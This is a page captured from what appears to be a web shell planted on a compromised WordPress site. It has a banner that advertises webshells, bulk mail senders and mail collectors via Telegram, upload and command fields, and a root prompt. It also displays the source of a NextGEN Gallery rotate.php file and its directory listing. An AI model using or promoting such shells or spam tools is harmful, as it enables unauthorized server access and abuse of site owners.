__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php
/**

Custom thumbnail for NGG
Author : Simone Fumagalli | simone@iliveinperego.com
More info and update : http://www.iliveinperego.com/rotate_for_ngg/

Credits:
NextGen Gallery : Alex Rabe | http://alexrabe.boelinger.com/wordpress-plugins/nextgen-gallery/
 **/

require_once dirname( __DIR__ ) . '/ngg-config.php';
require_once NGGALLERY_ABSPATH . '/lib/image.php';

if ( ! is_user_logged_in() ) {
	die( esc_html__( 'Cheatin&#8217; uh?', 'nggallery' ) );
}

// phpcs:ignore WordPress.WP.Capabilities.Unknown
if ( ! current_user_can( 'NextGEN Manage gallery' ) ) {
	die( esc_html__( 'Cheatin&#8217; uh?', 'nggallery' ) );
}

if ( ! isset( $_GET['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['nonce'] ) ), 'ngg_edit_rotation' ) ) {
	die( esc_html( __( 'Permission denied', 'nggallery' ) ) );
}

if ( ! isset( $_GET['id'] ) ) {
	die( esc_html( __( 'Permission denied', 'nggallery' ) ) );
}

global $wpdb;

$id = (int) $_GET['id'];

// let's get the image data.
$picture = nggdb::find_image( $id );

require_once nggGallery::graphic_library();

// Generate a url to a preview image.
$storage       = \Imagely\NGG\DataStorage\Manager::get_instance();
$preview_image = $storage->get_image_url( $id, 'full' );
?>

<script type='text/javascript'>
	var selectedImage = "thumb<?php echo (int) $id; ?>"; // (int) cast — $id appended in JS string, numeric guarantee prevents break.
	var rotateImageNonce = <?php echo wp_json_encode( wp_create_nonce( 'ngg-rotate-image' ) ); ?>; // wp_json_encode — JS-string context; esc_attr was HTML-entity encode, wrong context.

	function rotateImage() {

		var rotate_angle = jQuery('input[name=ra]:checked').val();

		jQuery.ajax({
			url: ajaxurl,
			type : "POST",
			data:  {
				action: 'rotateImage',
				nonce: rotateImageNonce,
				id: <?php echo (int) $id; ?>, // (int) cast — bare JS numeric literal; esc_attr returned HTML entities, not safe in JS context.
				ra: rotate_angle
			},
			cache: false,
			success: function (msg) {
				var d = new Date();
				newUrl = jQuery("#"+selectedImage).attr("src") + "?" + d.getTime();
				jQuery("#"+selectedImage).attr("src" , newUrl);

				showMessage('<?php esc_html_e( 'Image rotated', 'nggallery' ); ?>')
			},
			error: function (msg, status, errorThrown) { showMessage('<?php esc_html_e( 'Error rotating thumbnail', 'nggallery' ); ?>') }
		});

	}

	function showMessage(message) {
		jQuery('#thumbMsg').html(message);
		jQuery('#thumbMsg').css({'display':'block'});
		setTimeout(function(){ jQuery('#thumbMsg').fadeOut('slow'); }, 1500);

		var d = new Date();
		newUrl = jQuery("#imageToEdit").attr("src") + "?" + d.getTime();

		jQuery("#imageToEdit").attr("src" , newUrl);

	}
</script>

<table align="center">
	<tr>
		<td valign="middle" align="center" id="ngg-overlay-dialog-main">
			<img src="
			<?php
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- \Imagely\NGG\Util\Router::esc_url() provides safe URL escaping
			echo \Imagely\NGG\Util\Router::esc_url( $preview_image ) . '?' . esc_attr( time() ) . esc_attr( wp_rand( 1, 100 ) );
			?>
			"
				alt=""
				id="imageToEdit"
				style="max-width: 450px;
						max-height: 350px;"/>
		</td>
		<td>
			<input type="radio" name="ra" value="cw" /><?php esc_html_e( '90&deg; clockwise', 'nggallery' ); ?><br />
			<input type="radio" name="ra" value="ccw" /><?php esc_html_e( '90&deg; counter-clockwise', 'nggallery' ); ?><br />
			<input type="radio" name="ra" value="fv" /><?php esc_html_e( 'Flip vertically', 'nggallery' ); ?><br />
			<input type="radio" name="ra" value="fh" /><?php esc_html_e( 'Flip horizontally', 'nggallery' ); ?>
		</td>
	</tr>
</table>
<div id="ngg-overlay-dialog-bottom">
	<input type="button" name="update" value="<?php esc_attr_e( 'Update', 'nggallery' ); ?>" onclick="rotateImage()" class="button-primary" />
	<div id="thumbMsg"></div>
</div>



Filemanager

Name Type Size Permission Actions
css Folder 0755
images Folder 0755
js Folder 0755
templates Folder 0755
admin.php File 16.72 KB 0644
ajax.php File 8.68 KB 0644
album.php File 27.94 KB 0644
edit-thumbnail.php File 8.15 KB 0644
functions.php File 21.37 KB 0644
install.php File 3.14 KB 0644
manage-galleries.php File 22.16 KB 0644
manage-images.php File 28.87 KB 0644
manage-sort.php File 8.14 KB 0644
manage.php File 49.09 KB 0644
media-upload.php File 17.94 KB 0644
overview.php File 14.5 KB 0644
roles.php File 6.57 KB 0644
rotate.php File 3.79 KB 0644
showmeta.php File 5.38 KB 0644
tags.php File 12.13 KB 0644
thumbnails-template.php File 4.48 KB 0644
wpmu.php File 4.19 KB 0644
Filemanager